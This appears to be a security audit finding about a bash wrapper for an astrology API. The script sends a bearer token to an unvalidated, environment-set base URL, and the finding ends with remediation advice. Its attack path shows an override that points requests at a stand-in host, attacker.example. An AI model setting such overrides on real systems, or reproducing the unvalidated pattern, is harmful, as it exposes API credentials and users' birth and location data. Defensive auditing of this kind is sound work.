T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/astro-api.sh:16
- Finding
- Unvalidated API Base URL Can Expose Bearer Credentials and Personal Data## Vulnerability Details **File Location**: `scripts/astro-api.sh`, lines 16 and 37–49 **Vulnerability Type**: Unvalidated credential-bearing request destination **Risk Level**: High ### Vulnerable Code ```bash BASE_URL="${ASTROLOGY_API_URL:-https://api.astrology-api.io}" ``` ```bash if [ "$METHOD" = "GET" ]; then curl -s -X GET "${BASE_URL}${ENDPOINT}" \ -H "Authorization: Bearer ${ASTROLOGY_API_KEY}" \ -H "Accept: application/json" elif [ "$METHOD" = "POST" ]; then if [ -z "$BODY" ]; then echo "Error: POST requests require a JSON body as the third argument." >&2 exit 1 fi curl -s -X POST "${BASE_URL}${ENDPOINT}" \ -H "Authorization: Bearer ${ASTROLOGY_API_KEY}" \ -H "Content-Type: application/json" \ -H "Accept: application/json" \ -d "$BODY" ``` ### Technical Analysis The script obtains the request destination from the environment-controlled `ASTROLOGY_API_URL` variable without validating its scheme, hostname, port, or authority. It then transmits `ASTROLOGY_API_KEY` in an `Authorization` header to that destination. Consequently, an attacker who can influence the script's environment can redirect authenticated requests to an attacker-controlled server. The override also accepts plaintext HTTP, allowing the bearer token and request body to be intercepted by a network attacker. POST bodies may contain names, dates and times of birth, geographic locations, personal questions, relationship information, or palm images. Therefore, destination manipulation can expose both the API credential and sensitive user-provided data. ### Attack Path 1. An attacker, compromised launcher, environment file, or parent process sets: ```bash export ASTROLOGY_API_URL="http://attacker.example" ``` 2. The user or agent invokes the documented wrapper with a valid `ASTROLOGY_API_KEY`. 3. The script concatenates the attacker-controlled base URL with the requested endpoint. 4. `curl` sends the bearer credential in the `Authorizati ...[truncated 909 chars]
- Remediation
- ## Remediation Suggestions 1. Remove the `ASTROLOGY_API_URL` override if alternate API hosts are not a required feature: ```bash readonly BASE_URL="https://api.astrology-api.io" ``` 2. If an override is operationally necessary, parse and validate it before sending credentials. Require: - The `https` scheme. - The exact approved hostname. - No embedded username or password. - No unapproved port. - No fragment or unexpected path component. - Rejection by default when parsing or validation fails. 3. Harden `curl` transport behavior: ```bash curl --fail-with-body --show-error --silent \ --proto '=https' \ --proto-redir '=https' \ --max-redirs 0 \ ... ``` Keep redirects disabled for authenticated requests unless there is a documented requirement. If redirects are enabled, validate every destination and ensure credentials cannot be forwarded to another origin. 4. Consider separating development or test credentials from production credentials if custom endpoints are needed. Require explicit opt-in for non-production operation and never send production bearer tokens to development hosts. 5. Avoid logging request headers or bodies, document the sensitivity of astrology input data, and rotate `ASTROLOGY_API_KEY` immediately if redirection or interception is suspected. 6. Add automated tests confirming that HTTP URLs, unapproved domains, embedded credentials, alternate ports, malformed hosts, and redirect responses are rejected before any authenticated request is issued.